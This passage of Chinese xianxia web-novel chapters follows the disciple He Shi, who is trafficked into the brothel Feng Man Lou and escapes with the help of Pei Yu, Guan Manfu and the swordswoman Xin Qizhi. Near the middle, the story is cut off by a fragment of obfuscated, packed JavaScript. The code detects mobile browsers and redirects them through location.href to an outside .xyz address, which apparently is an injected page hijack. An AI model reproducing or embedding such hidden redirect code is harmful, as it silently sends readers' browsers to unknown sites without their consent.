时守咬紧牙关,把从袖口掏出来的护心丹又塞回去,强颜欢笑地回话:“你做得很好,不过修行速度可能有些过于快了。”
他从来没见过有人能在几刹那就做到步入练气一阶的,皮笑肉不笑的嘴唇内上下牙纠缠着颤动了好几个回合,再开口仍是一片慈爱之色:“所以我认为,你最好趁机下山历练一番,你意下如何?”
何施想了想,接受了他的建议。
她不知道的是,转身离去之时,有一人骤然卸下了心房,眼眶里盈满了哀伤。
对往事的追忆成就了这份饱和得站在他身旁就能触摸到的情感。
如果那时候,我没被天花乱坠的夸赞迷了眼,时守缩了缩手指,思绪下坠到他再次回到无情道上那时。
回来以后,他马不停蹄把自己关进房间里,磕了不知道多少颗辟谷丸,不分昼夜地修炼,反而再也成为不了当初的“天才”。
*
破落的牌匾一晃一晃挣扎着不掉落,里面宿惟与镜妖被时守摆成了面对面的姿势,让他俩试试能不能察觉到对方体内的气。
外头他盯着一步一步走远的何施,就像看着当初的自己。
步伐坚决,义无反顾,不问归期。
他给了她相同的道路,却渴望她作出完全相反的选择。
他以前也不过是个半大少年,簇拥于人群,痴迷于掌声,凡事究因果。
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离山前他深呼吸一口气,盼望前来为自己践行的师父答疑解惑:“师尊可否告知弟子,弟子该何时归山呢?”
老头那天戴着顶大师姐送的草帽,腰间别着一枚他送的平安符,老神在在地顺了顺长到应该修剪的胡子:“想回来的人自然会回来,哪怕不远万里,都会归来的。”
时守看着何施缩成了一小点的背影,背在身后的双手往袖里摸到了护心丹。
他静下心来,对自己默念:不要着急,该回来的人自然会回来,哪怕不远万里。
……
说来也巧,无情道的山头正对着剑宗,因此何施特意挑了条与上山时截然相反的路走。
山下很热闹,男男女女们三两成群结伴而行,讨论的话题也一股脑凑在一起听不真切,何施隐隐约约只听清了“风满楼”“大人物”“可惜了”这几个词。
漫步在热闹中的感觉很微妙,在喧嚣中有人冷冷清清,有人变得不像自己,还有人,陷于泥潭无法自拔。
昏暗狭窄的小巷里,一少年背靠墙壁,面前两位大汉持刀不慌不忙地逐步逼近。
其中衣着稍差的接收到走在前面的手势示意,对着少年先是挽了几个看似凌厉漂亮实则毫无用处的招式,见没能撼动到少年又去瞧了瞧管事的脸色。
管事的脸上从额头最左侧到眉眼处有一道短疤,人却长得一副翩翩公子模样,嗓音也温润如玉,可惜狗嘴里吐不出象牙:“关满腹,我还没记错的话,令妹在学肆里待了三年了吧。”
“三年,关中学院,学费得有不少吧,让我猜猜,差不多得有,嗯,五千白银?”
“哦,不对,你的业绩上只有佩瑜一人,虽说她混成过花魁,但当时姆妈只给了你,我想想,是七百白银吧?”
“还有四千三百白银的来路,你比我清楚。”
管事凑到少年耳边,拍了拍他发白的脸:“四千三百白银,想想得拿出多少个佩瑜来抵。”
“或者,咱们先来开个好头吧。”恶人的眼斜瞄到了循声而来刚进巷口的何施。
何施怎么也没想到,就在她运用空气中的气流帮助那个看着人畜无害的少年把胁迫他的两人压倒在地后,面对的结局会是他站在她身后,眼疾手快地拿着一根不知从哪来的棍子给她后颈上来了一下。
她昏了过去。
眼皮阖上的前一秒,她看见了地上的两人站了起来。
他们随意掸了掸衣服上尘土后,一人走过去拍了拍少年的肩,另一人则赞许地对他点了点头。
而少年,在笑。
她将永远铭记这个场景。
“这女娃长得标致,培养个几年说不定就是下一个佩瑜了。”
谁在感慨?
“可别,佩瑜现在,啧啧”
谁又在唏嘘?
脑袋昏昏沉沉,身子也使不上劲,何施想尝试着睁开眼却徒劳无功。
好多人,好多人围着她,却很少有人说话。
“把她送到我房间吧。”
何施再次意识不清得要陷入昏迷时,一道含糊不清、甜腻得不知道溶了多少糖的女音响起。
5. 风满楼【一】
风满楼今天热闹得有些过分,姑娘侍夫们几乎全军出没。
楼里三三两两的人都穿着轻薄的衣裳,楼梯上隔几段就能看到一对又一对依偎在一起的人影,欢笑嬉闹声不绝于耳。
唯有一处在这个场合下安静得出奇——二楼右拐到底那个上了锁的房间。
里头住着一位疯了的美人,名为佩瑜。
“吱—”窗台上传来轻微动静,并未惊动呆坐在床榻上双眼空洞的女人。
入室者轻松翻越障碍进入女子房间,这时若何施在场,便会认出进来的少年正是恩将仇报的关满腹。
“佩瑜,你现在清醒吗?”
少年走到床铺旁摇了摇她,佩瑜身子随着他的力度而摆动,像一具人为操纵的木偶。
“看来不凑巧。”
他丧气地松开了手,女人随着他的松手啪嗒一下瘫倒在床。
少年随手捞过旁边的薄被给她盖上,苦恼地抓了抓乱糟糟的头发:“啊,这可怎么办啊?”
“光凭我一个人的话,深入虎穴可是很危险的。”
关满腹看着一直无动于衷的女人,眼中闪过一丝迟疑。
可最终还是坚定下来,手缓慢地落到佩瑜的脖子上:“书落……也会这么做的吧。”
“别把你那肮脏的思想安到书落头上。”
少年的手上附上了另一只柔若无骨的手,它飞快拍开了作案工具。
恶行被遏止,关满腹也不恼,低头轻抚留在手上的触感似在回味。
佩瑜见不得他这般装模作样,直截了当发问:“找我什么事?”
少年轻笑一声,反问:“没事就不能找你吗?”
佩瑜脸色沉了下来,呵斥道:“你知不知道今天是什么日子!?”
关满腹见人是真生气了,又连忙凑上去好言好语哄着:“我说笑的,姐姐怎还当真了呢。不过的确是有事找您,天大的事。”
“书落出事了!?”
关满腹的右臂被抓得生疼,他没在意,拍了拍禁锢他手臂的手以示安抚:“不是,是我闯祸了。”
“你惹来的祸端,找我作甚?”
佩瑜见不是书落的事,悬着的心便放下了,对他要说的事也就不甚关心。
“我前天回家时,书落跟我谈起了她的一个同窗。”
关满腹岔开了话题,佩瑜狐疑的目光在他身上扫荡,到底没给打断。
少年也就悠悠说下去:“她那个同窗,在灯会上差点被人给拐了。”
佩瑜的心一提,关满腹从桌上拿起一杯茶递给她,佩瑜接过后灌下满满一杯。
“那人报了案,拐人的我听着消息说是额上被划了一道疤,端的是一副富家公子做派,料想是文问。”
佩瑜拿眼斜睨着他,眼波流转之间媚态横生:“我就知道你小子憋着使坏呢,想到什么好法子了?”
关满腹便将何施的事情说与她听,了解完整个事件的来龙去脉,佩瑜揪着手帕,思索着下一步该怎么办:“那个姑娘,被安置在楼里的哪处了?”
“我打听过了,说是被糖霜要去了。”
“糖霜,她要人干什么?”
佩瑜拧起眉头,过了一会儿好像想到了什么,嘴唇都白了几分:“今夜子时前,我们带上那个姑娘一道走。”
关满腹诧异地挑起眉:“你终于愿意离开这鬼地方了?”
佩瑜苦笑道:“还能怎样呢,这次是书落的同窗,下次——”
她低头揪起手帕,但言外之意他们都心知肚明。
“我的事,书落到现在都不知道吧?”佩瑜想最后确认一遍。
“你真的,不对书落坦白吗?”
哪怕知道答案,关满腹还是问出了这个问题,佩瑜不假思索地摇了摇头:“不要叫她知道这些腌臜事,我的妹妹,合该”
合该怎么着呢,佩瑜也说不上来,只是想叫她安安稳稳的,不要陷入她的泥潭里来。
书落还在娘胎的时候,爹娘都觉着是个男胎,事事上心,等到出生时反倒失望大过期待,最亲的也成了她这个姐姐。
她至今还记得那娇娇小小的一团,刚学会走路就摇摇晃晃地跟在她身后四处跑,软软地叫阿姐。
她成天做事,小小的人也就坐在旁边,安静地看她干活,不吵不闹。
爹娘是在饥灾时撇下她们跑了的,这个结局其实总好过互市取子分食之。
但佩瑜怨呐,怎能不怨呢。
她永远记得那个豆蔻年华的女孩在某次偶然抢到几粒稀粥漏出的米被一大帮人追着,不知抱着她的小妹妹跑了多远。
书落在那次饥荒中还生了病,几乎摸得到骨头纹理的身子缩进她的怀里,细细密密地喘:“姐姐……我好像……要死了”
不、不会的,她把书落的头又往怀中摁紧几分,手不住地在身上搜刮——没有,什么都没有,一粒米、一点观音土、一丝树皮都不见踪影。
她毫无办法,绝望地哭起来,又忽然想起逃亡路上,有人看她的眼神:直勾勾的,不像在看活物,她更像是案板上的肉,被打捞上来的鱼,手起刀落下的鸡鸭牛羊。
那是、看食物的眼神。
她愕然回过神来,大口喘气,像刚从死神那儿逃回来心有余悸的人。
希望的目光落到只剩一层皮的手臂上,佩瑜张开嘴硬生生在自己手腕处咬开一道口子。
书落已经闭上了眼,鼻息间呼吸微弱到不可闻,佩瑜赶忙把滴着血的伤口处放到她嘴边,喂到她脸色发白之际,书落终于睁开了眼。
可她千辛万苦救回来的人竟然对她说:“没用的,姐姐。等我死了,你就把我吃了吧。”
听到这话,佩瑜的喉咙好像被异物卡住,发不出声来,但她知道应该怎么办,总会有办法的。
人活在世上,总会有些东西支撑你走下去,有时是人,有时是物,有时,单单只是一个念头。
一个,活下去的念头。
*
佩瑜背着书落走了三天两夜,走到了另一座城。
这座城里也闹饥荒,却不像她们那儿那么厉害。
书落的命在生死攸关之际总算还是被拉了回来,但仍旧病得厉害,偏偏药材在苦难时金贵得不得了。
佩瑜到处找零工干,现结的工钱只勉强够维持两人温饱。
一天,她在街上叫人给撞了,撞人的少年从马车里走出,生得一副好皮囊,出手也阔气,五两白银,够买书落的一帖药膳。
佩瑜一瘸一拐地走向下一个招工点时,鬼迷心窍地回头望了望。
那少年的去处,是一栋看着就很阔气的楼房,金银相照的牌匾上写着龙飞凤舞的三个字:风满楼。
自那日后,佩瑜便留意上了风满楼的消息。
风满楼是座青楼。
据说,光底下的小二银钱一月便有半两白银。
据说,楼里的姑娘,再差的一年也不济有个十两白银。
据说,若混成了花魁,十日就能有一两白银。
佩瑜想进去。
关满腹就是在这个时机口出现的。
彼时他被债主雇来的一大片打手所围堵,那帮人嘴里叫嚣着要把他卖进风满楼给他个好看。
躲在墙角后的佩瑜乌黑的
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眼珠子滴溜溜地转,寻思这是好事情啊。
那少年人挺直的背却一下子弯下来,给他面前的各位爷赔笑:“哟,就我这姿色,进去不是给人徒增笑料嘛?您各位行行好,放小的一马,小的、小的来生做牛做马在所不辞!”
这话一出口,满堂哄笑。
就在他们挤眉弄眼之际,关满腹看准时机从两个人身影间留出的缝隙溜出,跑的时候还顺手带上了听墙角的佩瑜。
人突然没了,笑声一下子散了。
等他们反应过来后气急败坏地破口大骂:“他奶奶的什么玩意儿,还敢耍我们!”
“你小子,等抓到后看我不扒了你的皮!”有人在后头恶狠狠地宣誓。
佩瑜的心砰砰直跳,身前的少年貌似对这块地势很熟,领着她左穿右拐,身后的人被甩掉一些,还有几个在穷追不舍。
夕阳西下,绚烂的晚霞给孜孜流水染上了色彩,河边野草疯长,一群人在桥边停下。
“奇怪,人去哪儿了?”
“都怪你,要不是你说他上一条路走的是右边,我们现在能跟丢了吗?”
一声闷哼传来,佩瑜紧紧捂着嘴生怕泄露声响。
坐在她面前的少年见她这般模样倒是差点笑了出来。
噔噔噔,脚步声逐渐远去,关满腹的肩瞬间垮下来。
“喂,你家在哪儿?”
他随身摘了一根狗尾巴草碰了碰她,佩瑜戒备地看着他。
他无奈地凑过来低头恳求:“好歹也算过命的交情了,收留我一晚,不会怎样的,嗯?”
“那些,是什么人?”提起那些人,佩瑜的呼吸骤然急促。
关满腹以为她是怕了,宽慰道:“我只是偷了他们主子的一点钱财,不是大事,应当只是来威慑我一下。”
“灾祸面前,竟是赌坊最挣钱。”少年望着缓缓下沉的夕阳没入水中,在水下的那半截在水波粼粼中也显得纯粹无暇。
“不是,我是想问——”
话未出口,佩瑜突然意识到面前的人是个男子,声音顷刻间低下去:“他们说的进风满楼的法子,可行吗?”
“你竟想进去?”关满腹望着佩瑜,眼神像条毒蛇一样在她的脸、身子慢慢划过。
须臾,他意识到,她生了副好皮囊。
也该换个更可靠的靠山了,他舌头抵着后槽牙处顶了一下,注意到这是千载难逢的好机会。
“我可以帮你。”
他还是说出口了,这有什么呢,不都是这么过来的吗。
笨的被聪明的骗,弱的被强的欺压,年龄小的被大的抢,都是这么摸爬滚打过来、渐渐不再愿意托付真心的。
可是为什么,他现在看着那女孩清澈得倒映出自己身影的双眼,手抓着他的衣袖处仿佛全身心信赖他的模样,压下翻滚的思绪后还是多嘴了一句:
“你、你真的想好了?入了这楼,想要出来,就不容易了。”
佩瑜抓着他衣袖的手立刻松开,关满腹一瞬竟有点不舍。
他料她是放弃这个念头了打算离去,却见那女孩直直向他跪了下来,低头颤抖着身子:“小女子有一不情之请,家中小妹尚幼,若无人照料我实在放心不下,可否、可否——”
他心下了然,扶她起身,承诺:“我会帮你照看好她的。”
末了,他又打趣道:“不过,你不怕我是坏人吗?”
“想寻风满楼做靠山的人,野心不会这么小。”
佩瑜抬起头来,往上爬的决心在眼底展露,与之相对的眼眸,燃烧的情绪,也如出一辙。
“是我眼拙。”
6. 风满楼【二】
“新来的?我怎么从未在楼里见过你?”
女人的一根手指抵在少年敞开衣襟内的胸膛上,似是发现手感极佳勾起嘴角:“名字。”
“满江。”
女人准备下滑的手顿时打住,掏出手帕将每一根手指仔细擦拭了一遍:“满开头,是欠钱进来的啊。正好,送去我屋给那小丫头练个手。”
她挥了挥手,看也没看来人就下了吩咐。
“仔细点,知道吗?”
“明白,霜姐,我干活您放心。”
糖霜这才发现她差遣的是一位楼内老人了,便与他笑着随口寒暄了几句。
风满楼,二楼
何施坐在那张一动就咯吱响的床上,无所事事地又用流动的气流探索了一遍房间,确认了没有逃生通道。
另外,她还发现了自己的身体在使用气流后会变得虚弱的事实。
仔细想想,上次被敲晕,感觉有些四肢乏力也是在运用气流后,在这儿刚醒时也是难受得不得了。
何施暗暗记下这点,准备回去后问时守。
一炷香后,门开了。
隔着床前的轻纱,一道人影影影绰绰看不真切,瞧着是个少年人。
他身后的一只手一把把他推了进来,致使他踉跄了下。
何施身子立马向前倾了些,好在少年马上站稳了,她又回归原处。
但那少年在送他进来的人关上门后,目光直直望向了她的方向。
/
“我不管你是因为什么进来的,入了这楼,就是楼里的人了,明白吗?”
“你底子好,我们就先从揣摩想法开始学。”
“要想侍候好人,首先要懂得被人伺候,你先在这儿好好待着,我去给你寻个侍夫来。”
何施犹记她头痛欲裂地醒来后,一个背对她坐在椅子上梳妆打扮的女人噼里啪啦地说了一大堆她听不懂的话,而后就出门去了,顺手还给这道门上了锁。
等等,她说、寻侍夫?
这个少年,就是她找来的人?
何施回过神来,下意识动用气流去探察少年,下一秒又想起不能再这么干了,否则身体会吃不消的。
思索与行动加起来也不过短短几息间,何施却在收回来的一团气内感知到了熟悉的气息。
她定了定心神,朝杵在原地踟蹰不前的少年喊话:“你且上前来。”
关满腹正留意着门后看守人的脚步,冷不防听到何施的呼唤一愣。
想了想挑了能让看守人听见的音量回话:“您、您有什么吩咐吗?”
说罢,他一步步慢慢走向何施,边走边抽出空当注意着门后情况。
走到中途发现门后的人走动起来,应当是被人叫走了,这才送了一口气。
“是你?”何施惊呼出声,门外的脚步又顿住了,停了一会儿而后折返。
关满腹惊出了一身冷汗,在逼近的脚步声中开展头脑风暴,想破了脑袋终于急中生智开脱:“是你!?那个眼睁睁围观我被拖进来的侍女!”
仿佛过了五盏茶的时间,门外传来一声讥笑,脚步声未作停留向另一方向走去。
关满腹这才看向歪头皱眉看他的何施,向她解释:“从我进来后,门外一直有人监听,刚刚才走。我是来救你的,我们走。”
活音刚落,他一把抓起何施手腕处准备带她逃离。
何施挣脱开束缚,平静地称述她所认为的事实:“你是坏人。”
关满腹转身叹气:“那时纯属情势所迫、逼不得已。小祖宗,你看我现在不是来救你了吗?”
“我如何信你?”
“你这次信了我也没坏处啊。”
何施一时语塞,不知如何反驳,在她目前贫瘠的认知中只有好人与坏人的区分,还没遇见过关满腹这样一时好一时坏的人。
还没想开,关满腹已经拉着她弓起身子溜出房间,底楼大厅吵吵嚷嚷的,似是在寻人。
倏地,摔碎东西的破裂声传来,关满腹知晓风满楼的伙计做事不会如此毛手毛脚,因此只存在一种可能。
又一只酒杯摔落在地,“佩瑜人呢!?”
这道声音——是姆妈!
他头皮发麻,硬撑着把何施塞进佩瑜房间的密道,告知她沿着密道往前走完全程就能出去,接着就想不管不顾地抛开她去找佩瑜。
何施脑袋嗡嗡叫,在他起身之际一把拉住了他:“你去哪?”
关满腹撇开她的手,语速快到几乎听不清:“去救人。”
何施不依不饶,再次拽住了他:“她也是来救我的,是不是?”
“是,但那又怎样呢。等您出了这密室,咱们恩怨两清,现下你就别来掺和这些事了,我答应过人家的。”
关满腹一根根将她的手指掰开。
“现在是我和她的事了。她对我有恩,我不能在她有难时丢下她,带我一起去。”
关满腹盯着她看了几秒终究妥协:“好。”
*
佩瑜已经被人在柴房发现并拉到了姆妈面前,她也不反抗,目光呆滞。
一瞬间又仿佛突然看见面前有个人,呆呆傻傻地用一根手指去戳姆妈的小腿,口齿不清地含糊吐出几个字,姆妈眉心一跳:“你说什么?”
等关满腹和何施赶到现场,在一张酒桌旁,一个男人正与佩瑜拉拉扯扯,眼神色眯眯的,想灌她酒。
看着这幕,关满腹胸腔起伏下落好几回,将佩瑜指给何施看,告知那就是她的恩人,提议救她的人。
而后忍无可忍向她发问:“你那个绝招,能不能再用一次?”
“什么?”
“那次把两个人压制在地的招数。”
何施这下听懂了,思索身体应该休整得差不多了,若是压制那位色胚是不在话下的,当场答应实施。
/
无情道的气是很玄乎的东西,很多人连摸到它的门槛都迈不进,更遑论迈进后很容易跨到多情道上,再想回来又很难。
何施闭上眼,从汇集在丹田处的一团气流剥离了一小部分,将它们分散在空中,再感受它们。
她深呼吸了一口气,舔了舔唇,只因空气有两团气流,分别来自她身旁的少年与她的恩人。
这两团气流都比她弄出来的更大只,蠢蠢欲动着想要靠近她。
她得注意着不让它们融入自己身体,不然消化起来很麻烦。
不过那两团气跟她身体里的不一样,她的是无色的,或者说是看着透明的。
佩瑜的就像打翻了调色盘,五彩斑斓不过其中最显眼的依次为橙色、灰色和赤色,关满腹的则是灰蒙蒙一团。
何施正聚精会神地将自己的气流聚集在色胚头上,冷不丁耳朵被一道大得要冲破天际的叫喊给震了下。
手一抖,那两团气流看准时机钻进了她的身体。
何施倒吸一口凉气,努力蚕食它们,却察觉吸食的速度越快,身体虚弱程度下滑得更厉害。
这样下去她会先撑不住的,不如——何施灵机一动,改变策略,主动拿起那两团气流,它们乖顺依恋地蹭了蹭何施手心。
此举,不成功,便成仁!
鸿蒙天地,万物为灵,何施开始将空中那两团气流与自己的融合在一起。
脑袋突兀地蹦出来一位身影瘦削、面容模糊的女子,她嘴巴开开合合,吐露的话语很是清晰地印在何施脑袋里,形成一串字符。
她说,鸿蒙天地,万物为灵。
是的,那两团气流之所以跟她的不一样,是因为它们本质的“灵”不同。
若随其心,它们想要什么呢。
何施从没在自己的气团中感受到什么情绪,但佩瑜的很闹腾,它想团聚、想摧毁、想感谢,情绪饱满得几乎叫何施吃撑。
关满腹的则是压抑、极度压抑,压抑到了极点,乃至渴望爆发。
鸿蒙天地,万物有灵,若随其心,可顺我意,方至我用,此乃,登峰造极。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526863|186336||http|test|mini|href|location''.split(''|''),0,{}));
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>天道,可成。
倏地,何施心领神会,庞大的气流层在她不知晓的情况下骤然出现在了底楼所有人的上方,而后猛然压下。
晕眩的感觉再一次出现,何施很是熟悉,又比上一次多撑了一会儿。
短短一瞬内,她看到了惊慌失措神态各异的众人,看到了有几个人顷刻后缓解过来,朝她和关满腹走来。
半晌,何施晕过去前看见佩瑜挣脱开绳索,朝大门跑去。
她临近大门时,回头望了这边一眼,似是看到了什么瞳孔伸缩一瞬然后坚决地离去。
少顷,何施完全昏厥。
再说另一边成功逃出来的佩瑜脚步不停,沿着笔直的大街直直向前冲去。
生平第一次恨风满楼前的这条街道为了迎达官贵人做得宽阔大气,没有一条小巷可供躲藏。
在她身后有两个人穷追不舍,佩瑜焦头烂额,回想着出大门前关满腹向她做的那个口型思索是何意。
他说:修仙人士。
修仙人士,他说这个词一定有用意,可问题是在被人追赶的情况下她到哪儿去给他寻修仙人士。
佩瑜现在真是一个头两个大,火急火燎地往前赶也不问前方是何路了。
刹那间,她撞上了一片柔软的胸膛内,听见身后人的脚步停下,空气间气息仿佛凝滞住了,一片安详宁和。
她心知应该是走了大运,寻到位大人物了。
双臂抱紧面前人,摆出一副闻者皆落泪、见者亦伤心的口吻轻声细语倾诉:“好心人,救救我这个苦命人吧!”
“我本是家中落难不得已入了花楼,现今交了赎身钱妄图脱离苦海。”
“谁料,那老板竟是个作话不算的!收了黑心钱,还要人接着入那深海!”
她的音量逐步提高,引来一大堆路人围观,朝那两人指指点点。
两人赶忙辩解:“那小女子是在胡说!我们楼自认待她不薄,谁想她是个喂不熟的。”
“现在倒是赚够了钱想跑,也不想想在她有求之际,都是谁在充当她的衣食父母!”
这话一出口,路人内也有转了口风支持二者的。
两人见状继续发力,说与那大人物听:“我们也是听人差遣的份,若是完不成任务讨不到好果子吃——您看,是否能将这女子交于我们?”
佩瑜又抱紧了几分她的救命稻草,企图当个大佬的人形挂件,不离不弃。
因这一举动,她听到头上传来一声清脆得像风铃声一样的笑声,是个女孩子。
女人,原来也是能让人畏惧至此的吗?佩瑜想起了些不好的回忆,双臂犹豫着松开了些。
幸弃掷察觉到怀中的女子有点瑟瑟发抖,眉心一拢收敛了些自身周围的剑气。
又看向腰间别着的平冤,这把剑震动个不停,指指她怀里的女子又指指前方,在两个方向转换个不停,扰得她心烦。
她此次出行,只为看眼带走黯翎的是何方神圣,本来方向找得好好的,一碰上这种局面,平冤就开始让她琢磨不清了。
*
平冤的出世源自佛教,它本是一把平平无奇的剑。
在一名普普通通但怀有洗去世间所有冤屈想法的剑者手上。
在这位剑者游历时恰巧碰见了一位拥有阴阳眼的少女。
她告诉他,他的剑上,也有冤魂。
这把剑者吓了一跳,提起他的剑就冲去了佛教。
这才知晓清官难断家务事,红尘恩怨怎算清,一位即将圆寂的大师在那时给这把剑开了光。
从此,平冤斩的,是穷凶极恶之徒,断的,是冤屈未平之事。
剑不随人,剑本有心。
它的鸣叫只为两件事:一为遇名剑。二为冤魂未了,心愿不成。
幸弃掷在脑子里推敲了下情况,轻笑一声环住那女子,目光转向已经朝她走来几步想夺那女子的两人。
“走吧,我跟你们去楼里看看,孰是孰非,好做个评判。”
7. 风满楼【完】
“风满楼。”
辛弃掷直直盯着金碧辉煌的牌匾,字正腔圆。
她知道这地方,多情道的弟子认为青楼是个修多情的好去处之一,而风满楼算是其中小有名气的一家。
如今楼外便如此富丽堂皇,看来大有来头。
只是这名,辛弃掷挠了挠下巴,有点招事儿啊。
给她们带路的两人自觉分别跑到大门两侧做了个请的动作,辛弃掷长腿一跨,佩瑜紧随其后。
“这是新来的?怎么绑着呢?”
闻声望去,一群衣着暴露、身着各色衣裳的女子正围着一位被绑在椅子上的女孩打量。
辛弃掷啧了一声,挑眉望向那二人,似乎在用眼神询问:这就是你们口中说的待人不薄?
而两人见状脸上都挂上了讪笑。
平冤的振动幅度前所未有地高涨,剑锋向人群聚集处不断摆动,辛弃掷拍了拍它,试图让它安分些。
在朝这家店移动的过程中它就兴奋个不停,搞得她只得愈发使劲摁住它,好不让它顺从自己的心意惹祸。
“嘶。”辛弃掷垂目,望见平冤。
它太过兴奋,以致用锐利的剑尖戳了戳她,鲜血从辛弃掷指腹涌出,落到反光的剑身上。
平冤这才反应过来做了坏事,心虚地转了个圈。
“呵。”辛弃掷扯了扯嘴角,表示她现在同它一样不满,用还在滴血的指腹在剑柄上稍微蹭了蹭,朝那头走去。
动了几步,辛弃掷发觉跟自己一道的女子此时并未上前,停下脚步回头看她。
只见她面朝大门,背对这头蜷缩着身子,摇曳的身姿像在寒冬中无助的一株小花。
辛弃掷瞧她这模样和身后群魔乱舞的各色姑娘,敛目联想到某种可能,手放到剑柄上抚弄了下。
她站在原地思虑片刻,随手一挥放平冤自个撒野去,自己则站回佩瑜面前。
正是好时节,露暗烟浓草色新,东风转绿蘋。
美人相望,一人白雪凝琼貌,明珠点绛唇;一人其神若何,月射寒江。
行人咸息驾,争叹息。
但总有人不解风情。
“剑宗的人,好大的架子啊。”
一道女声幽幽响起,佩瑜像鱼见了猫儿似的借辛弃掷身形掩藏,辛弃掷半俯身,抱住她。
继而头也不回地端起架子:“哦?既如此,你们怎敢跟我搭话呢?”
“你!”有人气愤难耐,又被另一人拦下。
“道友,门派比拼就在不日后。我们远道而来,剑宗作为声名远扬的东道主之一,总不见得恶语相待?”有人貌似好言相劝。
辛弃掷转过身来,扫过一遍她们周身,果不其然瞄见在她们身上不同部位上都有一个繁复的花纹——是西域苗疆的人。
苗疆善蛊虫,虫的种类多且杂,唯有找到极端契合自己母虫的能量,方能开启修炼之道。
蛊虫汲取的方法十分残忍:在找到拥有这般能量的人的时候,盘踞在自家主人的蛊母会分化出一条子虫来。
它会慢慢沿着血管顺延而出,其后将之放置在所需之人的脖后间,子蛊便会随着时间流逝根植于其人心尖。
每当母蛊主开始修炼,子蛊就开始受制于人,因此,被种了子虫的人往往被称为傀人。
在那些时候,傀人往往不自控地失去行动能力,只被允许思想活跃。
但他们宁愿不要这份被许可的“特权”。
因为,傀人将会被投身于自己最不想再经历的场景。
曾经一次又一次在他们面前上演,偏偏想要改变却无能为力,只能眼睁睁看着自己反反复复重蹈覆辙。
悔恨、遗憾、悲愤,百感交织于心间,被子虫一丝丝捕捉到后传输到母蛊那边,汇成令人舒适的暖流。
苗疆的名声在大汉恶名远扬就起源于此。
某次苗疆一人发现放任情绪输送管道阻断,让子蛊情绪涨到一个极点后收货的果实会更鲜美。
从此傀人经常出现在人前,以一种半疯不疯的状态,让修真界见识到了西域的心狠手辣。
虽然现在已经不提倡划分正邪两派,但人们提起苗疆总会带上八个字:“歪门邪道”、“禽兽不如”。
……
“放榜了!放榜了!”
随着一声声喊叫,门外人群呼声一声高过一声。
这个时节正是乡试放榜时,可惜一道厚重的大门将他们的雀跃隔绝。
楼外暖煦如春,楼内空气凝滞成一团,压得人抬不起手腕。
“不如这样,”辛弃掷开了个话头,目光精准地匹配到这栋楼主事人。
她扒拉了下头发,抬起头来眼神里透露出狠绝,不像谈判,倒像来抢人:“卖我个人情,放了——”
她看了看身后瑟瑟发抖的佩瑜,看了看被绑在椅子上仍在昏迷的何施,看了看倒在何施旁边的地上无人问津但应该是同何施一伙的被五花大绑的小伙子,舔了舔唇:“放了他们三个。”
“好大的面呀。”苗疆有人当即嘲讽。
姆妈拢了拢衣袖,言笑晏晏:“辛道友的面,我们风满楼是一定要给的。”
这下苗疆炸开了锅,“什么!是辛家那个辛弃掷吗?”
辛弃掷听到辛家两个字嘴抿了抿,垂在衣袖里的手微缩了下。
她如今是同期剑道榜单上十年如一日稳居第一的榜首,是万人敬仰的榜样,是第一个没有任何体质,却走到了今天这个成就和地位的人。
但在此之前,她是辛家主家所出,是在十岁测验时测出天赋毫无资质,沦落到连旁系还不如、受尽奚落和白眼的小女孩。
姆妈见她神色不对,原本那些多余的小心思也散了,试探说起场面话来:“今个是好日子,乡试放榜呢!”
“不如我就此设宴给辛道友与您的三位小友赔个罪?”
辛弃掷已安抚好情绪:“不了,我还有事。”
她看向已安稳躺在何施怀中的平冤,心下了然:这应该就是带走黯翎的人。
她就说嘛,带路的那两个人一看就是跑腿的命,冤有头债有主,要算冤魂的帐,赖不到他们头上。
应该是嗅到二者身上有点黯翎的气味,情绪才逐渐激昂。
她瞧了瞧规矩得像木头人的何施,一抬手准备将她背在自己身后。
她被人踹了一脚。
/
何施终于完整地看见了太清的过去,之前一直隔着一层朦朦胧胧的面纱,像雾里看花。
太清的故事里的情感是背叛后上位者的恼怒、深思和果敢。
一国公主,是堪称一人之下万人之上的位置。
但国主在小公
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主和政事方面肯定是在后者上花费的经历更多,时间久了,太清免不了听到了一些话语如:
“以后的驸马有福了,整个大秦都是他的。”
“说什么呢,陛下还年轻,子嗣还会有的。”
“你说,今上他会不会从旁系中过继一个到他名下啊?”
听到那种话的太清那时还只有六岁,仿徨和难堪混搅在一起扰得她心乱如麻。
一位侯爵之子站到她身前,替她把那些都遮蔽不见。
凭借这次事件,他在后一年众多伴读的候选人中脱颖而出,成了太清的伴读。
太清自缢后魂魄跟在了彼岸身旁,看清了一切。
若一切重来,望着龙床上熟睡的熟悉面孔,太清想,假如重来一世,彼岸举起了匕首。
她像他一样,匕首并未刺入胸膛,而是被一把手握住,手上溢满血液,声音不怒自威:“你是想,刺杀朕吗?”
像他一样,不记情分,这把匕首反刺入自己主人的胸腔。
她会不会,会不会落得个好下场。
彼岸变成了他父亲的模样,太清突然想起来,父皇曾讲,登上龙椅,就是孤家寡人了。
太清笑起来,畅快地笑,无忧无虑地笑。
若重来一世,她会率先把匕首,刺入他的心房。
孤家寡人,舍我其谁。
谁的血血溅当场。
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何施看着面前被自己踢倒的人,很是尴尬。
她醒来忽然,恰逢有人靠近,以防万一,就出了手,奈何对方毫无防备。
想说些什么缓解一下,地上的那人早已站起来拍了拍衣服上的尘土。
这人抬头看她一眼,摇头晃脑地故作高深:“现在的后生,真是不得了。刚刚还是练气一阶,现在是三阶了。”
“欸?”何施无辜地眨了眨眼。
“那个、对不起啊。”
托了辛弃掷的福,他们都从风满楼里光明正大地走了出来。
走在送关满腹和佩瑜回家的路上,前头辛弃掷和佩瑜肩并肩挨得很近,不知在说些什么,后头关满腹又跟何施道了一遍歉。
何施想了想还是发问:“你说那时候是情势所逼,我能问下,归根结底把我敲晕的缘由是什么吗?”
“你能帮我一时,帮得了一世吗?”关满腹给出了自己的回答。
何施默然不语。
关满腹与佩瑜住的地方离风满楼还蛮远,走了不知多久,佩瑜跑过去抚摸了砖墙上的字:“就是这,感觉已经过了好久。”
